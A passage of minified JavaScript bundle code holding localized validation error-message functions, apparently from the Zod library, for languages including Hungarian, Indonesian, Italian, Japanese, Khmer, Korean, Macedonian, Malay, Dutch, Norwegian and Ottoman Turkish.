nagy: ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Túl kicsi: a bemeneti érték ${z.origin} mérete túl kicsi ${w}${z.minimum.toString()} ${H.unit}`;return`Túl kicsi: a bemeneti érték ${z.origin} túl kicsi ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Érvénytelen string: "${w.prefix}" értékkel kell kezdődnie`;if(w.format==="ends_with")return`Érvénytelen string: "${w.suffix}" értékkel kell végződnie`;if(w.format==="includes")return`Érvénytelen string: "${w.includes}" értéket kell tartalmaznia`;if(w.format==="regex")return`Érvénytelen string: ${w.pattern} mintának kell megfelelnie`;return`Érvénytelen ${Y[w.format]??z.format}`}case"not_multiple_of":return`Érvénytelen szám: ${z.divisor} többszörösének kell lennie`;case"unrecognized_keys":return`Ismeretlen kulcs${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Érvénytelen kulcs ${z.origin}`;case"invalid_union":return"Érvénytelen bemenet";case"invalid_element":return`Érvénytelen érték: ${z.origin}`;default:return"Érvénytelen bemenet"}}};var vL8=k(()=>{Qq()});function vQ1(){return{localeError:sK5()}}var sK5=()=>{let A={string:{unit:"karakter",verb:"memiliki"},file:{unit:"byte",verb:"memiliki"},array:{unit:"item",verb:"memiliki"},set:{unit:"item",verb:"memiliki"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"input",email:"alamat email",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"tanggal dan waktu format ISO",date:"tanggal format ISO",time:"jam format ISO",duration:"durasi format ISO",ipv4:"alamat IPv4",ipv6:"alamat IPv6",cidrv4:"rentang alamat IPv4",cidrv6:"rentang alamat IPv6",base64:"string dengan enkode base64",base64url:"string dengan enkode base64url",json_string:"string JSON",e164:"angka E.164",jwt:"JWT",template_literal:"input"};return(z)=>{switch(z.code){case"invalid_type":return`Input tidak valid: diharapkan ${z.expected}, diterima ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Input tidak valid: diharapkan ${B4(z.values[0])}`;return`Pilihan tidak valid: diharapkan salah satu dari ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Terlalu besar: diharapkan ${z.origin??"value"} memiliki ${w}${z.maximum.toString()} ${H.unit??"elemen"}`;return`Terlalu besar: diharapkan ${z.origin??"value"} menjadi ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Terlalu kecil: diharapkan ${z.origin} memiliki ${w}${z.minimum.toString()} ${H.unit}`;return`Terlalu kecil: diharapkan ${z.origin} menjadi ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`String tidak valid: harus dimulai dengan "${w.prefix}"`;if(w.format==="ends_with")return`String tidak valid: harus berakhir dengan "${w.suffix}"`;if(w.format==="includes")return`String tidak valid: harus menyertakan "${w.includes}"`;if(w.format==="regex")return`String tidak valid: harus sesuai pola ${w.pattern}`;return`${Y[w.format]??z.format} tidak valid`}case"not_multiple_of":return`Angka tidak valid: harus kelipatan dari ${z.divisor}`;case"unrecognized_keys":return`Kunci tidak dikenali ${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Kunci tidak valid di ${z.origin}`;case"invalid_union":return"Input tidak valid";case"invalid_element":return`Nilai tidak valid di ${z.origin}`;default:return"Input tidak valid"}}};var EL8=k(()=>{Qq()});function EQ1(){return{localeError:tK5()}}var tK5=()=>{let A={string:{unit:"caratteri",verb:"avere"},file:{unit:"byte",verb:"avere"},array:{unit:"elementi",verb:"avere"},set:{unit:"elementi",verb:"avere"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"numero";case"object":{if(Array.isArray(z))return"vettore";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"input",email:"indirizzo email",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"data e ora ISO",date:"data ISO",time:"ora ISO",duration:"durata ISO",ipv4:"indirizzo IPv4",ipv6:"indirizzo IPv6",cidrv4:"intervallo IPv4",cidrv6:"intervallo IPv6",base64:"stringa codificata in base64",base64url:"URL codificata in base64",json_string:"stringa JSON",e164:"numero E.164",jwt:"JWT",template_literal:"input"};return(z)=>{switch(z.code){case"invalid_type":return`Input non valido: atteso ${z.expected}, ricevuto ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Input non valido: atteso ${B4(z.values[0])}`;return`Opzione non valida: atteso uno tra ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Troppo grande: ${z.origin??"valore"} deve avere ${w}${z.maximum.toString()} ${H.unit??"elementi"}`;return`Troppo grande: ${z.origin??"valore"} deve essere ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Troppo piccolo: ${z.origin} deve avere ${w}${z.minimum.toString()} ${H.unit}`;return`Troppo piccolo: ${z.origin} deve essere ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Stringa non valida: deve iniziare con "${w.prefix}"`;if(w.format==="ends_with")return`Stringa non valida: deve terminare con "${w.suffix}"`;if(w.format==="includes")return`Stringa non valida: deve includere "${w.includes}"`;if(w.format==="regex")return`Stringa non valida: deve corrispondere al pattern ${w.pattern}`;return`Invalid ${Y[w.format]??z.format}`}case"not_multiple_of":return`Numero non valido: deve essere un multiplo di ${z.divisor}`;case"unrecognized_keys":return`Chiav${z.keys.length>1?"i":"e"} non riconosciut${z.keys.length>1?"e":"a"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Chiave non valida in ${z.origin}`;case"invalid_union":return"Input non valido";case"invalid_element":return`Valore non valido in ${z.origin}`;default:return"Input non valido"}}};var kL8=k(()=>{Qq()});function kQ1(){return{localeError:eK5()}}var eK5=()=>{let A={string:{unit:"文字",verb:"である"},file:{unit:"バイト",verb:"である"},array:{unit:"要素",verb:"である"},set:{unit:"要素",verb:"である"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"数値";case"object":{if(Array.isArray(z))return"配列";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"入力値",email:"メールアドレス",url:"URL",emoji:"絵文字",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO日時",date:"ISO日付",time:"ISO時刻",duration:"ISO期間",ipv4:"IPv4アドレス",ipv6:"IPv6アドレス",cidrv4:"IPv4範囲",cidrv6:"IPv6範囲",base64:"base64エンコード文字列",base64url:"base64urlエンコード文字列",json_string:"JSON文字列",e164:"E.164番号",jwt:"JWT",template_literal:"入力値"};return(z)=>{switch(z.code){case"invalid_type":return`無効な入力: ${z.expected}が期待されましたが、${q(z.input)}が入力されました`;case"invalid_value":if(z.values.length===1)return`無効な入力: ${B4(z.values[0])}が期待されました`;return`無効な選択: ${z8(z.values,"、")}のいずれかである必要があります`;case"too_big":{let w=z.inclusive?"以下である":"より小さい",H=K(z.origin);if(H)return`大きすぎる値: ${z.origin??"値"}は${z.maximum.toString()}${H.unit??"要素"}${w}必要があります`;return`大きすぎる値: ${z.origin??"値"}は${z.maximum.toString()}${w}必要があります`}case"too_small":{let w=z.inclusive?"以上である":"より大きい",H=K(z.origin);if(H)return`小さすぎる値: ${z.origin}は${z.minimum.toString()}${H.unit}${w}必要があります`;return`小さすぎる値: ${z.origin}は${z.minimum.toString()}${w}必要があります`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`無効な文字列: "${w.prefix}"で始まる必要があります`;if(w.format==="ends_with")return`無効な文字列: "${w.suffix}"で終わる必要があります`;if(w.format==="includes")return`無効な文字列: "${w.includes}"を含む必要があります`;if(w.format==="regex")return`無効な文字列: パターン${w.pattern}に一致する必要があります`;return`無効な${Y[w.format]??z.format}`}case"not_multiple_of":return`無効な数値: ${z.divisor}の倍数である必要があります`;case"unrecognized_keys":return`認識されていないキー${z.keys.length>1?"群":""}: ${z8(z.keys,"、")}`;case"invalid_key":return`${z.origin}内の無効なキー`;case"invalid_union":return"無効な入力";case"invalid_element":return`${z.origin}内の無効な値`;default:return"無効な入力"}}};var CL8=k(()=>{Qq()});function CQ1(){return{localeError:Aq5()}}var Aq5=()=>{let A={string:{unit:"តួអក្សរ",verb:"គួរមាន"},file:{unit:"បៃ",verb:"គួរមាន"},array:{unit:"ធាតុ",verb:"គួរមាន"},set:{unit:"ធាតុ",verb:"គួរមាន"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"មិនមែនជាលេខ (NaN)":"លេខ";case"object":{if(Array.isArray(z))return"អារេ (Array)";if(z===null)return"គ្មានតម្លៃ (null)";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"ទិន្នន័យបញ្ចូល",email:"អាសយដ្ឋានអ៊ីមែល",url:"URL",emoji:"សញ្ញាអារម្មណ៍",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"កាលបរិច្ឆេទ និងម៉ោង ISO",date:"កាលបរិច្ឆេទ ISO",time:"ម៉ោង ISO",duration:"រយៈពេល ISO",ipv4:"អាសយដ្ឋាន IPv4",ipv6:"អាសយដ្ឋាន IPv6",cidrv4:"ដែនអាសយដ្ឋាន IPv4",cidrv6:"ដែនអាសយដ្ឋាន IPv6",base64:"ខ្សែអក្សរអ៊ិកូដ base64",base64url:"ខ្សែអក្សរអ៊ិកូដ base64url",json_string:"ខ្សែអក្សរ JSON",e164:"លេខ E.164",jwt:"JWT",template_literal:"ទិន្នន័យបញ្ចូល"};return(z)=>{switch(z.code){case"invalid_type":return`ទិន្នន័យបញ្ចូលមិនត្រឹមត្រូវ៖ ត្រូវការ ${z.expected} ប៉ុន្តែទទួលបាន ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`ទិន្នន័យបញ្ចូលមិនត្រឹមត្រូវ៖ ត្រូវការ ${B4(z.values[0])}`;return`ជម្រើសមិនត្រឹមត្រូវ៖ ត្រូវជាមួយក្នុងចំណោម ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`ធំពេក៖ ត្រូវការ ${z.origin??"តម្លៃ"} ${w} ${z.maximum.toString()} ${H.unit??"ធាតុ"}`;return`ធំពេក៖ ត្រូវការ ${z.origin??"តម្លៃ"} ${w} ${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`តូចពេក៖ ត្រូវការ ${z.origin} ${w} ${z.minimum.toString()} ${H.unit}`;return`តូចពេក៖ ត្រូវការ ${z.origin} ${w} ${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវចាប់ផ្តើមដោយ "${w.prefix}"`;if(w.format==="ends_with")return`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវបញ្ចប់ដោយ "${w.suffix}"`;if(w.format==="includes")return`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវមាន "${w.includes}"`;if(w.format==="regex")return`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវតែផ្គូផ្គងនឹងទម្រង់ដែលបានកំណត់ ${w.pattern}`;return`មិនត្រឹមត្រូវ៖ ${Y[w.format]??z.format}`}case"not_multiple_of":return`លេខមិនត្រឹមត្រូវ៖ ត្រូវតែជាពហុគុណនៃ ${z.divisor}`;case"unrecognized_keys":return`រកឃើញសោមិនស្គាល់៖ ${z8(z.keys,", ")}`;case"invalid_key":return`សោមិនត្រឹមត្រូវនៅក្នុង ${z.origin}`;case"invalid_union":return"ទិន្នន័យមិនត្រឹមត្រូវ";case"invalid_element":return`ទិន្នន័យមិនត្រឹមត្រូវនៅក្នុង ${z.origin}`;default:return"ទិន្នន័យមិនត្រឹមត្រូវ"}}};var LL8=k(()=>{Qq()});function LQ1(){return{localeError:Kq5()}}var Kq5=()=>{let A={string:{unit:"문자",verb:"to have"},file:{unit:"바이트",verb:"to have"},array:{unit:"개",verb:"to have"},set:{unit:"개",verb:"to have"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"입력",email:"이메일 주소",url:"URL",emoji:"이모지",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO 날짜시간",date:"ISO 날짜",time:"ISO 시간",duration:"ISO 기간",ipv4:"IPv4 주소",ipv6:"IPv6 주소",cidrv4:"IPv4 범위",cidrv6:"IPv6 범위",base64:"base64 인코딩 문자열",base64url:"base64url 인코딩 문자열",json_string:"JSON 문자열",e164:"E.164 번호",jwt:"JWT",template_literal:"입력"};return(z)=>{switch(z.code){case"invalid_type":return`잘못된 입력: 예상 타입은 ${z.expected}, 받은 타입은 ${q(z.input)}입니다`;case"invalid_value":if(z.values.length===1)return`잘못된 입력: 값은 ${B4(z.values[0])} 이어야 합니다`;return`잘못된 옵션: ${z8(z.values,"또는 ")} 중 하나여야 합니다`;case"too_big":{let w=z.inclusive?"이하":"미만",H=w==="미만"?"이어야 합니다":"여야 합니다",J=K(z.origin),O=J?.unit??"요소";if(J)return`${z.origin??"값"}이 너무 큽니다: ${z.maximum.toString()}${O} ${w}${H}`;return`${z.origin??"값"}이 너무 큽니다: ${z.maximum.toString()} ${w}${H}`}case"too_small":{let w=z.inclusive?"이상":"초과",H=w==="이상"?"이어야 합니다":"여야 합니다",J=K(z.origin),O=J?.unit??"요소";if(J)return`${z.origin??"값"}이 너무 작습니다: ${z.minimum.toString()}${O} ${w}${H}`;return`${z.origin??"값"}이 너무 작습니다: ${z.minimum.toString()} ${w}${H}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`잘못된 문자열: "${w.prefix}"(으)로 시작해야 합니다`;if(w.format==="ends_with")return`잘못된 문자열: "${w.suffix}"(으)로 끝나야 합니다`;if(w.format==="includes")return`잘못된 문자열: "${w.includes}"을(를) 포함해야 합니다`;if(w.format==="regex")return`잘못된 문자열: 정규식 ${w.pattern} 패턴과 일치해야 합니다`;return`잘못된 ${Y[w.format]??z.format}`}case"not_multiple_of":return`잘못된 숫자: ${z.divisor}의 배수여야 합니다`;case"unrecognized_keys":return`인식할 수 없는 키: ${z8(z.keys,", ")}`;case"invalid_key":return`잘못된 키: ${z.origin}`;case"invalid_union":return"잘못된 입력";case"invalid_element":return`잘못된 값: ${z.origin}`;default:return"잘못된 입력"}}};var RL8=k(()=>{Qq()});function RQ1(){return{localeError:qq5()}}var qq5=()=>{let A={string:{unit:"знаци",verb:"да имаат"},file:{unit:"бајти",verb:"да имаат"},array:{unit:"ставки",verb:"да имаат"},set:{unit:"ставки",verb:"да имаат"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"број";case"object":{if(Array.isArray(z))return"низа";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"внес",email:"адреса на е-пошта",url:"URL",emoji:"емоџи",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO датум и време",date:"ISO датум",time:"ISO време",duration:"ISO времетраење",ipv4:"IPv4 адреса",ipv6:"IPv6 адреса",cidrv4:"IPv4 опсег",cidrv6:"IPv6 опсег",base64:"base64-енкодирана низа",base64url:"base64url-енкодирана низа",json_string:"JSON низа",e164:"E.164 број",jwt:"JWT",template_literal:"внес"};return(z)=>{switch(z.code){case"invalid_type":return`Грешен внес: се очекува ${z.expected}, примено ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Invalid input: expected ${B4(z.values[0])}`;return`Грешана опција: се очекува една ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Премногу голем: се очекува ${z.origin??"вредноста"} да има ${w}${z.maximum.toString()} ${H.unit??"елементи"}`;return`Премногу голем: се очекува ${z.origin??"вредноста"} да биде ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Премногу мал: се очекува ${z.origin} да има ${w}${z.minimum.toString()} ${H.unit}`;return`Премногу мал: се очекува ${z.origin} да биде ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Неважечка низа: мора да започнува со "${w.prefix}"`;if(w.format==="ends_with")return`Неважечка низа: мора да завршува со "${w.suffix}"`;if(w.format==="includes")return`Неважечка низа: мора да вклучува "${w.includes}"`;if(w.format==="regex")return`Неважечка низа: мора да одгоара на патернот ${w.pattern}`;return`Invalid ${Y[w.format]??z.format}`}case"not_multiple_of":return`Грешен број: мора да биде делив со ${z.divisor}`;case"unrecognized_keys":return`${z.keys.length>1?"Непрепознаени клучеви":"Непрепознаен клуч"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Грешен клуч во ${z.origin}`;case"invalid_union":return"Грешен внес";case"invalid_element":return`Грешна вредност во ${z.origin}`;default:return"Грешен внес"}}};var yL8=k(()=>{Qq()});function yQ1(){return{localeError:Yq5()}}var Yq5=()=>{let A={string:{unit:"aksara",verb:"mempunyai"},file:{unit:"bait",verb:"mempunyai"},array:{unit:"elemen",verb:"mempunyai"},set:{unit:"elemen",verb:"mempunyai"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"nombor";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"input",email:"alamat e-mel",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"tarikh masa ISO",date:"tarikh ISO",time:"masa ISO",duration:"tempoh ISO",ipv4:"alamat IPv4",ipv6:"alamat IPv6",cidrv4:"julat IPv4",cidrv6:"julat IPv6",base64:"string dikodkan base64",base64url:"string dikodkan base64url",json_string:"string JSON",e164:"nombor E.164",jwt:"JWT",template_literal:"input"};return(z)=>{switch(z.code){case"invalid_type":return`Input tidak sah: dijangka ${z.expected}, diterima ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Input tidak sah: dijangka ${B4(z.values[0])}`;return`Pilihan tidak sah: dijangka salah satu daripada ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Terlalu besar: dijangka ${z.origin??"nilai"} ${H.verb} ${w}${z.maximum.toString()} ${H.unit??"elemen"}`;return`Terlalu besar: dijangka ${z.origin??"nilai"} adalah ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Terlalu kecil: dijangka ${z.origin} ${H.verb} ${w}${z.minimum.toString()} ${H.unit}`;return`Terlalu kecil: dijangka ${z.origin} adalah ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`String tidak sah: mesti bermula dengan "${w.prefix}"`;if(w.format==="ends_with")return`String tidak sah: mesti berakhir dengan "${w.suffix}"`;if(w.format==="includes")return`String tidak sah: mesti mengandungi "${w.includes}"`;if(w.format==="regex")return`String tidak sah: mesti sepadan dengan corak ${w.pattern}`;return`${Y[w.format]??z.format} tidak sah`}case"not_multiple_of":return`Nombor tidak sah: perlu gandaan ${z.divisor}`;case"unrecognized_keys":return`Kunci tidak dikenali: ${z8(z.keys,", ")}`;case"invalid_key":return`Kunci tidak sah dalam ${z.origin}`;case"invalid_union":return"Input tidak sah";case"invalid_element":return`Nilai tidak sah dalam ${z.origin}`;default:return"Input tidak sah"}}};var IL8=k(()=>{Qq()});function IQ1(){return{localeError:zq5()}}var zq5=()=>{let A={string:{unit:"tekens"},file:{unit:"bytes"},array:{unit:"elementen"},set:{unit:"elementen"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"getal";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"invoer",email:"emailadres",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO datum en tijd",date:"ISO datum",time:"ISO tijd",duration:"ISO duur",ipv4:"IPv4-adres",ipv6:"IPv6-adres",cidrv4:"IPv4-bereik",cidrv6:"IPv6-bereik",base64:"base64-gecodeerde tekst",base64url:"base64 URL-gecodeerde tekst",json_string:"JSON string",e164:"E.164-nummer",jwt:"JWT",template_literal:"invoer"};return(z)=>{switch(z.code){case"invalid_type":return`Ongeldige invoer: verwacht ${z.expected}, ontving ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Ongeldige invoer: verwacht ${B4(z.values[0])}`;return`Ongeldige optie: verwacht één van ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Te lang: verwacht dat ${z.origin??"waarde"} ${w}${z.maximum.toString()} ${H.unit??"elementen"} bevat`;return`Te lang: verwacht dat ${z.origin??"waarde"} ${w}${z.maximum.toString()} is`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Te kort: verwacht dat ${z.origin} ${w}${z.minimum.toString()} ${H.unit} bevat`;return`Te kort: verwacht dat ${z.origin} ${w}${z.minimum.toString()} is`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Ongeldige tekst: moet met "${w.prefix}" beginnen`;if(w.format==="ends_with")return`Ongeldige tekst: moet op "${w.suffix}" eindigen`;if(w.format==="includes")return`Ongeldige tekst: moet "${w.includes}" bevatten`;if(w.format==="regex")return`Ongeldige tekst: moet overeenkomen met patroon ${w.pattern}`;return`Ongeldig: ${Y[w.format]??z.format}`}case"not_multiple_of":return`Ongeldig getal: moet een veelvoud van ${z.divisor} zijn`;case"unrecognized_keys":return`Onbekende key${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Ongeldige key in ${z.origin}`;case"invalid_union":return"Ongeldige invoer";case"invalid_element":return`Ongeldige waarde in ${z.origin}`;default:return"Ongeldige invoer"}}};var SL8=k(()=>{Qq()});function SQ1(){return{localeError:wq5()}}var wq5=()=>{let A={string:{unit:"tegn",verb:"å ha"},file:{unit:"bytes",verb:"å ha"},array:{unit:"elementer",verb:"å inneholde"},set:{unit:"elementer",verb:"å inneholde"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"tall";case"object":{if(Array.isArray(z))return"liste";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"input",email:"e-postadresse",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO dato- og klokkeslett",date:"ISO-dato",time:"ISO-klokkeslett",duration:"ISO-varighet",ipv4:"IPv4-område",ipv6:"IPv6-område",cidrv4:"IPv4-spekter",cidrv6:"IPv6-spekter",base64:"base64-enkodet streng",base64url:"base64url-enkodet streng",json_string:"JSON-streng",e164:"E.164-nummer",jwt:"JWT",template_literal:"input"};return(z)=>{switch(z.code){case"invalid_type":return`Ugyldig input: forventet ${z.expected}, fikk ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Ugyldig verdi: forventet ${B4(z.values[0])}`;return`Ugyldig valg: forventet en av ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`For stor(t): forventet ${z.origin??"value"} til å ha ${w}${z.maximum.toString()} ${H.unit??"elementer"}`;return`For stor(t): forventet ${z.origin??"value"} til å ha ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`For lite(n): forventet ${z.origin} til å ha ${w}${z.minimum.toString()} ${H.unit}`;return`For lite(n): forventet ${z.origin} til å ha ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Ugyldig streng: må starte med "${w.prefix}"`;if(w.format==="ends_with")return`Ugyldig streng: må ende med "${w.suffix}"`;if(w.format==="includes")return`Ugyldig streng: må inneholde "${w.includes}"`;if(w.format==="regex")return`Ugyldig streng: må matche mønsteret ${w.pattern}`;return`Ugyldig ${Y[w.format]??z.format}`}case"not_multiple_of":return`Ugyldig tall: må være et multiplum av ${z.divisor}`;case"unrecognized_keys":return`${z.keys.length>1?"Ukjente nøkler":"Ukjent nøkkel"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Ugyldig nøkkel i ${z.origin}`;case"invalid_union":return"Ugyldig input";case"invalid_element":return`Ugyldig verdi i ${z.origin}`;default:return"Ugyldig input"}}};var hL8=k(()=>{Qq()});function hQ1(){return{localeError:Hq5()}}var Hq5=()=>{let A={string:{unit:"harf",verb:"olmalıdır"},file:{unit:"bayt",verb:"olmalıdır"},array:{unit:"unsur",verb:"olmalıdır"},set:{unit:"unsur",verb:"olmalıdır"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"numara";case"object":{if(Array.isArray(z))return"saf";if(z===null)return"gayb";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"giren",email:"epostagâh",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO hengâmı",date:"ISO tarihi",time:"ISO zamanı",duration:"ISO müddeti",ipv4:"IPv4 nişânı",ipv6:"IPv6 nişânı",cidrv4:"IPv4 menzili",cidrv6:"IPv6 menzili",base64:"base64-şifreli metin",base64url:"base64url-şifreli metin",json_string:"JSON metin",e164:"E.164 sayısı",jwt:"JWT",template_literal:"giren"};return(z)=>{switch(z.code){case"invalid_type":return`Fâsit giren: umulan ${z.expected}, alınan ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Fâsit giren: umulan ${B4(z.values[0])}`;return`Fâsit tercih: mûteberler ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Fazla büyük: ${z.origin??"value"}, ${w}${z.maximum.toString()} ${H.unit??"elements"} sahip olmalıydı.`;return`Fazla büyük: ${z.origin??"value"}, ${w}${z.maximum.toString()} olmalıydı.`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Fazla küçük: ${z.origin}, ${w}${z.minimum.toString()} ${H.unit} sahip olmalıydı.`;return`Fazla küçük: ${z.origin}, ${w}${z.minimum.toString()} olmalıydı.`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Fâsit metin: "${w.prefix}" ile başlamalı.`;if(w.format==="ends_with")return`Fâsit metin: "${w.suffix}" ile bitmeli.`;if(w.format==="includes")return`Fâsit metin: "${w.includes}" ihtivâ etmeli.`;if(w.format==="regex")return`Fâsit metin: ${w.pattern} nakşına uymalı.`;return`Fâsit ${Y[w.format]??z.format}`}case"not_multiple_of":return`Fâsit sayı: ${z.divisor} katı olmalıydı.`;case"unrecognized_keys":return`Tanınmayan anahtar ${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`${z.origin} için tanınmayan anahtar var.`;case"invalid_union":return"Giren tanınamadı.";case"invalid_element":return`${z.origin} için tanınmayan kıymet var.`;default:return"Kıymet tanınamadı."}}};var bL8=k(()=>{Qq()});function bQ1(){return{localeError:Jq5()}}var Jq5=()=>{let 